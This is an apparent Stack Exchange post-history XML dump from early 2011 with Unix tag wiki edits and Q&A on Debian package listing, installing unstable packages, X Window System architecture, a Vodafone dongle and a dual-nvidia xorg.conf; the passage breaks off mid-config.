  <row Id="18899" PostHistoryTypeId="5" PostId="8025" RevisionGUID="8414b775-4f3d-4f35-9dce-09cc4f6ac0df" CreationDate="2011-02-24T22:05:13.697" UserId="3635" Comment="added 37 characters in body" Text="Content related to computer security." />
  <row Id="18900" PostHistoryTypeId="24" PostId="8025" RevisionGUID="8414b775-4f3d-4f35-9dce-09cc4f6ac0df" CreationDate="2011-02-24T22:05:13.697" Comment="Proposed by 3635 approved by 331 edit id of 97" />
  <row Id="18901" PostHistoryTypeId="5" PostId="8015" RevisionGUID="a93bd9af-6689-40c9-95a1-23415fe0a584" CreationDate="2011-02-24T22:05:15.727" UserId="3635" Comment="added 190 characters in body" Text="NetBSD is a freely available open source version of Unix-derivative Berkeley Software Distribution (BSD); due to convenient license and portability, NetBSD is often used in embedded systems." />
  <row Id="18902" PostHistoryTypeId="24" PostId="8015" RevisionGUID="a93bd9af-6689-40c9-95a1-23415fe0a584" CreationDate="2011-02-24T22:05:15.727" Comment="Proposed by 3635 approved by 331 edit id of 90" />
  <row Id="18903" PostHistoryTypeId="5" PostId="8014" RevisionGUID="ba06e41b-1be5-48f8-9350-016d17425164" CreationDate="2011-02-24T22:05:17.660" UserId="3635" Comment="added 580 characters in body" Text="NetBSD is a free, fast, secure, and highly portable Unix-like Open Source operating system. It is available for a wide range of platforms, from large-scale servers and powerful desktop systems to handheld and embedded devices. Its clean design and advanced features make it excellent for use in both production and research environments, and the source code is freely available under a business-friendly license. NetBSD is developed and supported by a large and vivid international community. Many applications are readily available through pkgsrc, the NetBSD Packages Collection." />
  <row Id="18904" PostHistoryTypeId="24" PostId="8014" RevisionGUID="ba06e41b-1be5-48f8-9350-016d17425164" CreationDate="2011-02-24T22:05:17.660" Comment="Proposed by 3635 approved by 331 edit id of 89" />
  <row Id="18905" PostHistoryTypeId="5" PostId="7978" RevisionGUID="69d7e7ad-1779-49c7-825b-be2cf3095ebd" CreationDate="2011-02-24T22:05:19.703" UserId="688" Comment="this is a quote" Text="From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; The term &quot;memory&quot; is used for the information in physical systems which are fast (i.e. RAM), as a distinction from physical systems which are slow to access (i.e. data storage). By design, the term &quot;memory&quot; refers to temporary state devices, whereas the term &quot;storage&quot; is reserved for permanent data. Advances in storage technology have blurred the distinction a bit —memory kept on what is conventionally a storage system is called &quot;virtual memory&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Computer_memory" />
  <row Id="18906" PostHistoryTypeId="24" PostId="7978" RevisionGUID="69d7e7ad-1779-49c7-825b-be2cf3095ebd" CreationDate="2011-02-24T22:05:19.703" Comment="Proposed by 688 approved by 331 edit id of 96" />
  <row Id="18907" PostHistoryTypeId="5" PostId="8035" RevisionGUID="a61186c9-00ff-4bdf-8f4f-fa9d47bef1d7" CreationDate="2011-02-24T22:05:21.500" UserId="3635" Comment="added 1255 characters in body" Text="According to [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;iptables is a user space application program that allows a system administrator to configure the tables provided by the Linux kernel firewall (implemented as different Netfilter modules) and the chains and rules it stores. Different kernel modules and programs are currently used for different protocols; iptables applies to IPv4, ip6tables to IPv6, arptables to ARP, and ebtables for Ethernet frames.&#xD;&#xA;&#xD;&#xA;Iptables requires elevated privileges to operate and must be executed by user root, otherwise it fails to function. On most Linux systems, iptables is installed as /usr/sbin/iptables and documented in its man page [2], which can be opened using man iptables when installed. It may also be found in /sbin/iptables, but since iptables is not an &quot;essential binary&quot;, but more like a service, the preferred location remains /usr/sbin.&#xD;&#xA;&#xD;&#xA;iptables is also commonly used to inclusively refer to the kernel-level components. x_tables is the name of the kernel module carrying the shared code portion used by all four modules that also provides the API used for extensions; subsequently, Xtables is more or less used to refer to the entire firewall (v4,v6,arp,eb) architecture.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Iptables" />
  <row Id="18908" PostHistoryTypeId="24" PostId="8035" RevisionGUID="a61186c9-00ff-4bdf-8f4f-fa9d47bef1d7" CreationDate="2011-02-24T22:05:21.500" Comment="Proposed by 3635 approved by 331 edit id of 104" />
  <row Id="18909" PostHistoryTypeId="5" PostId="8036" RevisionGUID="8250663e-d661-4473-b636-63f3c3cf7393" CreationDate="2011-02-24T22:05:23.993" UserId="3635" Comment="added 69 characters in body" Text="iptables allow creation of rules to define packet filtering behavior." />
  <row Id="18910" PostHistoryTypeId="24" PostId="8036" RevisionGUID="8250663e-d661-4473-b636-63f3c3cf7393" CreationDate="2011-02-24T22:05:23.993" Comment="Proposed by 3635 approved by 331 edit id of 103" />
  <row Id="18911" PostHistoryTypeId="5" PostId="8018" RevisionGUID="8733051b-1710-4874-99be-6af1fc998e85" CreationDate="2011-02-24T22:05:25.820" UserId="3635" Comment="added 918 characters in body" Text="According to [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;grep is a command line text search utility originally written for Unix. The name is taken from the first letters in global / regular expression / print, a series of instructions in text editors such as ed.[1] A backronym of the unusual name also exists in the form of Generalized Regular Expression Parser. The grep command searches files or standard input globally for lines matching a given regular expression, and prints them to the program's standard output.&#xD;&#xA;&#xD;&#xA;History&#xD;&#xA;-------&#xD;&#xA;&#xD;&#xA;Grep was created by Ken Thompson as a standalone application adapted from the regular expression parser he had written for the ed editor (which he also created). The name grep comes from the ed editor command it simulated, g/re/p (global regular expression print). Its official date of creation is given as March 3, 1973 in the Manual for Unix Version 4.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Grep" />
  <row Id="18912" PostHistoryTypeId="24" PostId="8018" RevisionGUID="8733051b-1710-4874-99be-6af1fc998e85" CreationDate="2011-02-24T22:05:25.820" Comment="Proposed by 3635 approved by 331 edit id of 93" />
  <row Id="18913" PostHistoryTypeId="5" PostId="8019" RevisionGUID="ae194850-f9c6-4ec0-861b-7414588f6575" CreationDate="2011-02-24T22:05:27.677" UserId="3635" Comment="added 71 characters in body" Text="grep is a command-line tool used to search files to find text patterns." />
  <row Id="18914" PostHistoryTypeId="24" PostId="8019" RevisionGUID="ae194850-f9c6-4ec0-861b-7414588f6575" CreationDate="2011-02-24T22:05:27.677" Comment="Proposed by 3635 approved by 331 edit id of 92" />
  <row Id="18915" PostHistoryTypeId="5" PostId="8013" RevisionGUID="3de2ff23-d644-44ae-8ad2-dcc08790984c" CreationDate="2011-02-24T22:05:29.737" UserId="3635" Comment="added 84 characters in body" Text="FreeBSD is a free Unix-like operating system descended from AT&amp;T UNIX via BSD UNIX. " />
  <row Id="18916" PostHistoryTypeId="24" PostId="8013" RevisionGUID="3de2ff23-d644-44ae-8ad2-dcc08790984c" CreationDate="2011-02-24T22:05:29.737" Comment="Proposed by 3635 approved by 331 edit id of 88" />
  <row Id="18917" PostHistoryTypeId="5" PostId="8012" RevisionGUID="c27da333-3660-41d6-b373-5e5a6228de79" CreationDate="2011-02-24T22:05:31.593" UserId="3635" Comment="added 483 characters in body" Text="FreeBSD® is an advanced operating system for modern server, desktop, and embedded computer platforms. FreeBSD's code base has undergone over thirty years of continuous development, improvement, and optimization. It is developed and maintained by a large team of individuals. FreeBSD provides advanced networking, impressive security features, and world class performance and is used by some of the world's busiest web sites and most pervasive embedded networking and storage devices." />
  <row Id="18918" PostHistoryTypeId="24" PostId="8012" RevisionGUID="c27da333-3660-41d6-b373-5e5a6228de79" CreationDate="2011-02-24T22:05:31.593" Comment="Proposed by 3635 approved by 331 edit id of 87" />
  <row Id="18919" PostHistoryTypeId="5" PostId="8003" RevisionGUID="4a160b5f-ce23-4c8d-baef-2d0386b1826f" CreationDate="2011-02-24T22:05:33.743" UserId="3635" Comment="added 81 characters in body" Text="A filesystem is a method of storing and organizing computer files and their data." />
  <row Id="18920" PostHistoryTypeId="24" PostId="8003" RevisionGUID="4a160b5f-ce23-4c8d-baef-2d0386b1826f" CreationDate="2011-02-24T22:05:33.743" Comment="Proposed by 3635 approved by 331 edit id of 79" />
  <row Id="18921" PostHistoryTypeId="5" PostId="8011" RevisionGUID="c485de7d-97e5-4dc9-be23-89e1f9f8fa5c" CreationDate="2011-02-24T22:05:35.523" UserId="3635" Comment="added 69 characters in body" Text="A text editor is a type of program used for editing plain text files." />
  <row Id="18922" PostHistoryTypeId="24" PostId="8011" RevisionGUID="c485de7d-97e5-4dc9-be23-89e1f9f8fa5c" CreationDate="2011-02-24T22:05:35.523" Comment="Proposed by 3635 approved by 331 edit id of 86" />
  <row Id="18923" PostHistoryTypeId="5" PostId="8010" RevisionGUID="3c81d253-346d-4746-82db-437a5ce5d853" CreationDate="2011-02-24T22:05:37.613" UserId="3635" Comment="added 282 characters in body" Text="Text editors are often provided with operating systems or software development packages, and can be used to change configuration files and programming language source code.&#xD;&#xA;&#xD;&#xA;There are many popular text editors for Unix, including `vi` / `vim`, `emacs`, `joe`, `kate`, `pico`, etc." />
  <row Id="18924" PostHistoryTypeId="24" PostId="8010" RevisionGUID="3c81d253-346d-4746-82db-437a5ce5d853" CreationDate="2011-02-24T22:05:37.613" Comment="Proposed by 3635 approved by 331 edit id of 85" />
  <row Id="18925" PostHistoryTypeId="2" PostId="8045" RevisionGUID="182b5f4e-2d79-40c8-90a6-7fd748ccf7a1" CreationDate="2011-02-24T22:09:11.460" UserId="688" Text="What is the Debian equivalent of Fedora's `yum list installed`?" />
  <row Id="18926" PostHistoryTypeId="1" PostId="8045" RevisionGUID="182b5f4e-2d79-40c8-90a6-7fd748ccf7a1" CreationDate="2011-02-24T22:09:11.460" UserId="688" Text="How to show the number of installed packages" />
  <row Id="18927" PostHistoryTypeId="3" PostId="8045" RevisionGUID="182b5f4e-2d79-40c8-90a6-7fd748ccf7a1" CreationDate="2011-02-24T22:09:11.460" UserId="688" Text="édebianàépackageömanagementà" />
  <row Id="18928" PostHistoryTypeId="5" PostId="6859" RevisionGUID="0b8d17cb-2bca-4d2a-aeed-7e5d405e92e9" CreationDate="2011-02-24T22:14:21.843" UserId="688" Comment="reduce clutter" Text="I'm looking for a reasonably up-to-date and conprehensive web page that documents differences in how to use different package managers, like:&#xD;&#xA;&#xD;&#xA;* **installation**&#xD;&#xA; * `apt-get install pkgname`&#xD;&#xA; * `yum install pkgname`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* **removal**&#xD;&#xA; * `apt-get remove pkgname`&#xD;&#xA; * `yum erase pkgname`&#xD;&#xA;" />
  <row Id="18929" PostHistoryTypeId="2" PostId="8046" RevisionGUID="b9ca5f7d-40af-49c9-9078-9276b198c8ea" CreationDate="2011-02-24T22:15:11.033" UserId="1987" Text="The X Window System uses a client-server architecture. The X server runs on the machine that has the display (monitors + input devices), while X clients can run on any other machine, and connect to the X server using the X protocol (not directly, but rather by using a library, like Xlib, or the more modern non-blocking event-driven XCB). The X protocol is designed to be extensible, and has many extensions (see `xdpyinfo(1)`).&#xD;&#xA;&#xD;&#xA;The X server does only low level operations, like creating and destroying windows, doing drawing operations (nowadays most drawing is done on the client and sent as an image to the server), sending events to windows, ... You can see how little an X server does by running `X :1 &amp;` (use any number not already used by another X server) or `Xephyr :1 &amp;` (Xephyr runs an X server embedded on your current X server) and then running `xterm -display :1 &amp;` and switching to the new X server (you may need to setup X authorization using `xauth(1)`).&#xD;&#xA;&#xD;&#xA;As you can see, the X server does very little, it doesn't draw title bars, doesn't do window minimization/iconification, doesn't manage window placement... Of course, you can control window placement manually running a command like `xterm -geometry -0-0`, but you will usually have an special X client doing the above things. This client is called a _window manager_. There can only be one window manager active at a time. If you still have open the bare X server of the previous commands, you can try to run a window manager on it, like `twm`, `metacity`, `kwin`, `compiz`, `larswm`, `pawm`, ...&#xD;&#xA;&#xD;&#xA;As we said, X only does low level operations, and doesn't provide higher level concepts as pushbuttons, menus, toolbars, ... These are provided by libraries called _toolkits_, e.g: Xaw, GTK, Qt, FLTK, ...&#xD;&#xA;&#xD;&#xA;Desktop environments are collections of programs designed to provide a unified user experience. So desktop environments typically provides panels, application launchers, system trays, control panels, configuration infrastructure (where to save settings). Some well known desktop environments are KDE (built using the Qt toolkit), Gnome (using GTK), Enlightenment (using its own toolkit libraries), ...&#xD;&#xA;&#xD;&#xA;Some modern desktop effects are best done using 3d hardware. So a new component appears, the _composite manager_. An X extension, the XComposite extension, sends window contents to the composite manager. The composite manager converts those contents to textures and uses 3d hardware via OpenGL to compose them in many ways (alpha blending, 3d projections, ...).&#xD;&#xA;&#xD;&#xA;Not so long ago, the X server talked directly to hardware devices. A significant portion of this device handling has been moving to the OS kernel: DRI (permitting access to 3d hardware by X _and_ direct rendering clients), evdev (unified interface for input device handling), KMS (moving graphics mode setting to the kernel), GEM/TTM (texture memory management).&#xD;&#xA;&#xD;&#xA;So, with the complexity of device handling now mostly outside of X, it became easier to experiment with simplified window systems. [Wayland][1] is a window system based on the composite manager concept, i.e. the window system is the composite manager. Wayland makes use of the device handling that has moved out of X and renders using OpenGL.&#xD;&#xA;&#xD;&#xA;As for Unity, it's a desktop environment designed to have a user interface suitable for netbooks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wayland.freedesktop.org/" />
  <row Id="18930" PostHistoryTypeId="2" PostId="8047" RevisionGUID="4f9adfd1-a06d-4049-99e5-f127dcf7bea8" CreationDate="2011-02-24T22:15:27.610" UserId="3635" Text="According to [this thread][1]:&#xD;&#xA;&#xD;&#xA;To list installed packages:&#xD;&#xA;&#xD;&#xA;    dpkg -l&#xD;&#xA;&#xD;&#xA;To see if a package is installed:&#xD;&#xA;&#xD;&#xA;    dpkg -l |grep package&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=485131" />
  <row Id="18931" PostHistoryTypeId="2" PostId="8048" RevisionGUID="d520b268-92e8-42ce-a471-47dd05bccdd4" CreationDate="2011-02-24T22:26:45.217" UserId="5094" Text="I got a Vodafone K3760 at some point in Debian/Lenny's lifetime, for use with a Lenovo S10e.  I installed (from the Vodafone BetaVine site) usb-modeswitch 0.97 and vodafone-mobile-connect (VMC) 2.10.01-1 (or maybe it was actually vodafone-mobile-connect_svn20090615) and it all worked pretty well.&#xD;&#xA;&#xD;&#xA;After the squeeze update I have had less luck.  Unlike lenny, squeeze includes usb_modeswitch 1.1.4-2, and I also grabbed vodafone-mobile-connect 2.25.01.  It does actually work... for a few minutes, then the system locks up (or sometimes the gnome panel dies, but xterms on-screen continue to work).&#xD;&#xA;&#xD;&#xA;Anyone know what magic combinations of packages, if any, will work reliably with Squeeze ?&#xD;&#xA;&#xD;&#xA;(The obvious next thing for me to try is to revert the relevant packages to their older versions; VMC does have quite a lot of dependencies though so I'm not too sure how well this will work).&#xD;&#xA;&#xD;&#xA;There's another school of thought which says forget about vodafone's app and just use the new Gnome network manager's mobile broadband support.  I haven't tried this yet, but I kind of like the vodafone app (for it's usage monitoring, and for it's access to SMS messages on the K3760; these are pretty important if you travel abroad and want to see what outrageous charges you'll be stung for if you dare connect).  But if Gnome or other apps provide such functionality, I'd happily drop the Vodafone software.&#xD;&#xA;&#xD;&#xA;Thanks for any advice" />
  <row Id="18932" PostHistoryTypeId="1" PostId="8048" RevisionGUID="d520b268-92e8-42ce-a471-47dd05bccdd4" CreationDate="2011-02-24T22:26:45.217" UserId="5094" Text="How to get vodafone mobile connect (or equivalent) working reliably on debian squeeze" />
  <row Id="18933" PostHistoryTypeId="3" PostId="8048" RevisionGUID="d520b268-92e8-42ce-a471-47dd05bccdd4" CreationDate="2011-02-24T22:26:45.217" UserId="5094" Text="édebianà" />
  <row Id="18934" PostHistoryTypeId="2" PostId="8049" RevisionGUID="2b560c96-2478-4d78-bbbb-13ff50f0c74a" CreationDate="2011-02-24T22:35:14.747" UserId="5092" Text="On a computer running &quot;stable&quot; Debian, when trying to install a package which is in the unstable list on the Debian web site using the &quot;aptitude install &lt;package&gt;/unstable&quot; command, I get output similar to this:&#xD;&#xA;`Couldn't find any package whose name or description matched &quot;&lt;package&gt;&quot;`&#xD;&#xA;`Couldn't find any package whose name or description matched &quot;&lt;package&gt;&quot;`&#xD;&#xA;`No packages will be installed, upgraded, or removed.`&#xD;&#xA;`0 packages upgraded, 0 newly installed, 0 to remove and 0 not upgraded.`&#xD;&#xA;`Need to get 0 B of archives. After unpacking 0 B will be used.`&#xD;&#xA;&#xD;&#xA;What can I do to be able to install &quot;unstable&quot; packages? (I thought of adding the repository to `sources.list`, but I don't want everything to start being installed from &quot;unstable&quot;).&#xD;&#xA;&#xD;&#xA;So: how can I install unstable packages (with using &quot;/stable&quot; at the end of the package name)?" />
  <row Id="18935" PostHistoryTypeId="1" PostId="8049" RevisionGUID="2b560c96-2478-4d78-bbbb-13ff50f0c74a" CreationDate="2011-02-24T22:35:14.747" UserId="5092" Text="How to install some packages from &quot;unstable&quot; Debian on a computer running &quot;stable&quot; Debian?" />
  <row Id="18936" PostHistoryTypeId="3" PostId="8049" RevisionGUID="2b560c96-2478-4d78-bbbb-13ff50f0c74a" CreationDate="2011-02-24T22:35:14.747" UserId="5092" Text="édebianàépackageömanagementà" />
  <row Id="18937" PostHistoryTypeId="2" PostId="8050" RevisionGUID="f6b1c77f-ea83-488c-ba0a-9102c29a6fd4" CreationDate="2011-02-24T22:37:06.727" UserId="5094" Text="`dpkg -l` is nice but I actually find myself using **`apt-show-versions`** (not installed by default on Debian; install the package of the same name) a lot instead, especially when I want to process the output further (dpkg tries to be too clever with line wrapping).&#xD;&#xA;" />
  <row Id="18938" PostHistoryTypeId="5" PostId="8049" RevisionGUID="6e066513-6209-4841-b8a6-02823782d400" CreationDate="2011-02-24T22:41:21.637" UserId="688" Comment="formatting" Text="On a computer running &quot;stable&quot; Debian, when trying to install a package which is in the unstable list on the Debian web site using the &quot;aptitude install &lt;package&gt;/unstable&quot; command, I get output similar to this:&#xD;&#xA;&#xD;&#xA;    Couldn't find any package whose name or description matched &quot;&lt;package&gt;&quot;&#xD;&#xA;    Couldn't find any package whose name or description matched &quot;&lt;package&gt;&quot;&#xD;&#xA;    No packages will be installed, upgraded, or removed.&#xD;&#xA;   0 packages upgraded, 0 newly installed, 0 to remove and 0 not upgraded.&#xD;&#xA;   Need to get 0 B of archives. After unpacking 0 B will be used.&#xD;&#xA;&#xD;&#xA;What can I do to be able to install &quot;unstable&quot; packages? (I thought of adding the repository to `sources.list`, but I don't want everything to start being installed from &quot;unstable&quot;).&#xD;&#xA;&#xD;&#xA;So: how can I install unstable packages (with using &quot;/stable&quot; at the end of the package name)?" />
  <row Id="18939" PostHistoryTypeId="5" PostId="8045" RevisionGUID="3d7be076-ebec-4f6a-bf1a-a52925ff59de" CreationDate="2011-02-24T22:45:53.707" UserId="688" Comment="added 10 characters in body; added 8 characters in body" Text="What is the Debian equivalent of Fedora's `yum list installed | grep wc --lines`?" />
  <row Id="18940" PostHistoryTypeId="5" PostId="8047" RevisionGUID="97ff90ef-a9f9-43da-93b4-759c063d4805" CreationDate="2011-02-24T22:48:22.457" UserId="688" Comment="added 22 characters in body" Text="According to [this thread][1]:&#xD;&#xA;&#xD;&#xA;To list installed packages:&#xD;&#xA;&#xD;&#xA;    dpkg --list | wc --lines&#xD;&#xA;&#xD;&#xA;To see if a package is installed:&#xD;&#xA;&#xD;&#xA;    dpkg --list | grep package&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=485131" />
  <row Id="18941" PostHistoryTypeId="2" PostId="8051" RevisionGUID="a1bfe941-74d0-40d0-846c-fcb5ebf0ff03" CreationDate="2011-02-24T22:49:47.313" UserId="885" Text="You do need to have `unstable` listed in your `sources.list`. Otherwise apt just won't find the package.&#xD;&#xA;&#xD;&#xA;To avoid `unstable` packages being pulled in, you have two ways.&#xD;&#xA;&#xD;&#xA;* The easy way is to add a `Default-Release` clause to `/etc/apt/apt.conf`.&#xD;&#xA;&#xD;&#xA;        APT::Default-Release &quot;stable&quot;;&#xD;&#xA;&#xD;&#xA;* The hard way is to use [APT preferences](http://wiki.debian.org/AptPreferences). In `/etc/apt/preferences`:&#xD;&#xA;&#xD;&#xA;        Package: *&#xD;&#xA;        Pin: release o=Debian,a=unstable&#xD;&#xA;        Pin-Priority: 10&#xD;&#xA;&#xD;&#xA;Note that for most of the lifetime of a Debian release, it's not practical to install most packages from unstable on a stable system, because they'll pull in a lot of libraries from unstable, and you'll end up with an unstable system. First look if there is a [backport](http://wiki.debian.org/Backports) for them. Otherwise, if you want to install a package from unstable but not have to pull in its dependencies, try getting the source from unstable and recompiling.&#xD;&#xA;&#xD;&#xA;    apt-get source foo=1.42&#xD;&#xA;    apt-get build-dep foo  # pulls the dependencies of foo in stable but that's often good enough&#xD;&#xA;    dpkg-source -x foo_1.42.dsc&#xD;&#xA;    cd foo-1.42&#xD;&#xA;    dpkg-buildpackage -rfakeroot -us -uc -b -nc&#xD;&#xA;    dpkg -i ../foo_1.42_$(arch).deb&#xD;&#xA;" />
  <row Id="18942" PostHistoryTypeId="6" PostId="8049" RevisionGUID="57fdc311-8ea1-4b46-9077-0c4e65bd6cac" CreationDate="2011-02-24T22:49:57.983" UserId="885" Comment="edited tags" Text="édebianàépackageömanagementàéaptà" />
  <row Id="18943" PostHistoryTypeId="2" PostId="8052" RevisionGUID="e612dda4-e6f5-422b-8c42-027e1e15d8ee" CreationDate="2011-02-24T22:53:32.720" UserId="305" Text="The traditional stack is built upon 3 main components:&#xD;&#xA;&#xD;&#xA; - X server which handles displaying&#xD;&#xA; - Window manager that put windows into frames, handles minimizing windows etc. That's part of separation of mechanism from policy in Unix&#xD;&#xA; - Clients that perform useful task as displaying stackexchange website. They may use X protocol directly (suicide), use xlib or xcb (slightly easier) or use toolkit such as GTK+ or QT.&#xD;&#xA;&#xD;&#xA;The X architecture was made network hence allowing the clients to be on separate host then server.&#xD;&#xA;&#xD;&#xA;So far so good. However that was the image from way back. Nowadays it is not the CPU that handles the graphics but the GPU. There have been various attempts to incorporate it in the model - and place when kernel come into place to greater extend.&#xD;&#xA;&#xD;&#xA;Firstly there have been made some assumptions regarding the usage of graphic card. For example only the on-screen rendering was assumed. I cannot find this information on wikipedia right now but DRI 1 also assumed that only one application will use OpenGL at the same time (I cannot quote right away but I can dig the bug up where it was close as WONTFIX with note to wait to DRI 2).&#xD;&#xA;&#xD;&#xA;A few temporary solution have been proposed for indirect rendering (needed for composite WM):&#xD;&#xA;&#xD;&#xA; - XGL - early proposition supporting applications talking directly to card&#xD;&#xA; - AIGLX - accepted proposition that uses network properties of OpenGL protocol&#xD;&#xA; - Proprietary solution of NVidia&#xD;&#xA;&#xD;&#xA;The works on newer architecture (DRI 2) was started. That included:&#xD;&#xA;&#xD;&#xA; - In-kernel support for memory handling (GEM/TTM)&#xD;&#xA; - Kernel modesetting (KMS) allowing to change resolution in-kernel hence avoiding delays when switching between X and console &amp; few other features (like displaying message on panic even if X are running - which IIRC is planned to be implemented).&#xD;&#xA;&#xD;&#xA;Somehow orthogonal to move to kernel the work on Gallium drivers have been started. Mesa library started as implementation of OpenGL on CPU and then it started using GPU acceleration. It always have been tighten to OpenGL. In OpenGL 3.0 the model have changed significantly and the rewrite of library was inevitable. However they are taking the opportunity to split the code into several layer extracting common code and providing low-level API allowing to implement various 3D API on top of it - allowing for example Wine to provide DirectX talking directly to Gallium instead of going through the OpenGL API layer (which may not have direct 1-1 calls).&#xD;&#xA;&#xD;&#xA;--------------------------&#xD;&#xA;&#xD;&#xA;Wayland is a projects which considers the above a bit complicated and with too &quot;history&quot;. The design from 1984 (although highly modified and adapted) does not corresponds to beginning of 21 c. according to proponents.&#xD;&#xA;&#xD;&#xA;It is suppose to offer greater flexibility and better performance although it is still missing some important features like full OpenGL support (and important for some - network support).&#xD;&#xA;&#xD;&#xA;--------------------------&#xD;&#xA;&#xD;&#xA;A bit more about desktop environments and window managers. The window manager is an application responsible for how window will behave - for example it is responsible for managing workspaces, drawing titlebar(the thing on top of screen with windo title and minimise/maximise/close buttons) etc.&#xD;&#xA;&#xD;&#xA;Firstly only minimal WM was used but afterwards the user started wanting desktop environments - i.e. more featured version, which included menu start, desktop background etc. However most parts of the desktop environment is not a window manager although they are often integrated.&#xD;&#xA;&#xD;&#xA;After some time the composite WM were introduced which uses OpenGL and indirect rendering to do their work. They provides not only graphical effects but also allow easier implementation of some accessibility features (like magnifier)." />
  <row Id="18944" PostHistoryTypeId="2" PostId="8053" RevisionGUID="256ec5d6-e621-4f98-b3f5-e010dbd1a0d7" CreationDate="2011-02-24T23:11:58.400" UserId="885" Text="    dpkg -l | grep -c '^ii'&#xD;&#xA;&#xD;&#xA;There are subtle variants like `dpkg -l | grep -c '^?i'` if you want to include packages that are installed but whose removal you've requested. Another way is&#xD;&#xA;&#xD;&#xA;    aptitude search '~i' |wc -l&#xD;&#xA;&#xD;&#xA;You can even poke directly into the dpkg database:&#xD;&#xA;&#xD;&#xA;    sh -c 'set /var/lib/dpkg/info/*; echo $#'&#xD;&#xA;&#xD;&#xA;This one includes packages that are not installed but that have configuration files left over; you can list these with `dpkg -l | grep '^rc'`.&#xD;&#xA;" />
  <row Id="18945" PostHistoryTypeId="25" PostId="8045" RevisionGUID="7f46b76d-6330-439c-8bc9-50f79d86cc30" CreationDate="2011-02-24T23:23:23.647" Comment="http://twitter.com/#!/StackUnix/status/40914717878784000" />
  <row Id="18946" PostHistoryTypeId="5" PostId="8048" RevisionGUID="c86abff6-0f67-47ba-9147-c06a7706a647" CreationDate="2011-02-24T23:31:06.123" UserId="5094" Comment="added 833 characters in body" Text="I got a Vodafone K3760 at some point in Debian/Lenny's lifetime, for use with a Lenovo S10e.  I installed (from the Vodafone BetaVine site) usb-modeswitch 0.97 and vodafone-mobile-connect (VMC) 2.10.01-1 (or maybe it was actually vodafone-mobile-connect_svn20090615) and it all worked pretty well.&#xD;&#xA;&#xD;&#xA;After the squeeze update I have had less luck.  Unlike lenny, squeeze includes usb_modeswitch 1.1.4-2, and I also grabbed vodafone-mobile-connect 2.25.01.  It does actually work... for a few minutes, then the system locks up (or sometimes the gnome panel dies, but xterms on-screen continue to work).&#xD;&#xA;&#xD;&#xA;Anyone know what magic combinations of packages, if any, will work reliably with Squeeze ?&#xD;&#xA;&#xD;&#xA;(The obvious next thing for me to try is to revert the relevant packages to their older versions; VMC does have quite a lot of dependencies though so I'm not too sure how well this will work).&#xD;&#xA;&#xD;&#xA;There's another school of thought which says forget about vodafone's app and just use the new Gnome network manager's mobile broadband support.  I haven't tried this yet, but I kind of like the vodafone app (for it's usage monitoring, and for it's access to SMS messages on the K3760; these are pretty important if you travel abroad and want to see what outrageous charges you'll be stung for if you dare connect).  But if Gnome or other apps provide such functionality, I'd happily drop the Vodafone software.&#xD;&#xA;&#xD;&#xA;Thanks for any advice&#xD;&#xA;&#xD;&#xA;**Additional information:**&#xD;&#xA;&#xD;&#xA;I couldn't revert to the older vodafone mobile connect because of various python dependencies not in squeeze.  Reverting to the older usb_modeswitch seems to be possible, but at least this once I got a spew of kernel bug notifications (alas, these don't seem to submit anything useful: [example][1]) and got about 30mins uptime before a lockup.  I'm not too sure what to make of dmesg (have got some saved); there are clearly some call stacks into serio_interrupt in i8042_interrupt in  ...a pile of handle IRQ functions ... but there are other ones too.&#xD;&#xA;&#xD;&#xA;Just to be clear: the system is rock solid when using wired or built-in wifi connection.  Inserting the dongle seems to be pretty safe; the problems start once connected.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kerneloops.org/submitresult.php?number=2721111" />
  <row Id="18947" PostHistoryTypeId="2" PostId="8054" RevisionGUID="9129f5f0-3f0c-4f6d-9f49-84b9bd12abf7" CreationDate="2011-02-24T23:40:12.333" UserId="3764" Text="have a RHEL 5 workstation with 2 nvidia Quadro FX4500 cards, with one display attached to each card. After doing a clean install of RHEL 5.5, the second display doesnt work (it worked ok in RHEL 5.2). Neither separate X screens nor Xinerama are working.&#xD;&#xA;&#xD;&#xA;The kernel version is 2.6.18-194.el5&#xD;&#xA;&#xD;&#xA;I've tried nvidia drivers 185.18.36 (the ones that i was using on 5.2) and the latest 260.19.36 and neither works.&#xD;&#xA;&#xD;&#xA;My xorg.conf is as follows:&#xD;&#xA;&#xD;&#xA;    # nvidia-settings: X configuration file generated by nvidia-settings&#xD;&#xA;    # nvidia-settings:  version 1.0  (buildmeister@builder58)  Fri Aug 14 18:34:43 PDT 2009&#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;        Identifier     &quot;Layout0&quot;&#xD;&#xA;        Screen      0  &quot;Screen0&quot; 0 0&#xD;&#xA;        Screen      1  &quot;Screen1&quot; RightOf &quot;Screen0&quot;&#xD;&#xA;        InputDevice    &quot;Keyboard0&quot; &quot;CoreKeyboard&quot;&#xD;&#xA;        InputDevice    &quot;Mouse0&quot; &quot;CorePointer&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Files&quot;&#xD;&#xA;        FontPath        &quot;unix/:7100&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerFlags&quot;&#xD;&#xA;        Option         &quot;Xinerama&quot; &quot;1&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;InputDevice&quot;&#xD;&#xA;        # generated from default&#xD;&#xA;        Identifier     &quot;Mouse0&quot;&#xD;&#xA;        Driver         &quot;mouse&quot;&#xD;&#xA;        Option         &quot;Protocol&quot; &quot;auto&quot;&#xD;&#xA;        Option         &quot;Device&quot; &quot;/dev/input/mice&quot;&#xD;&#xA;        Option         &quot;Emulate3Buttons&quot; &quot;no&quot;&#xD;&#xA;        Option         &quot;ZAxisMapping&quot; &quot;4 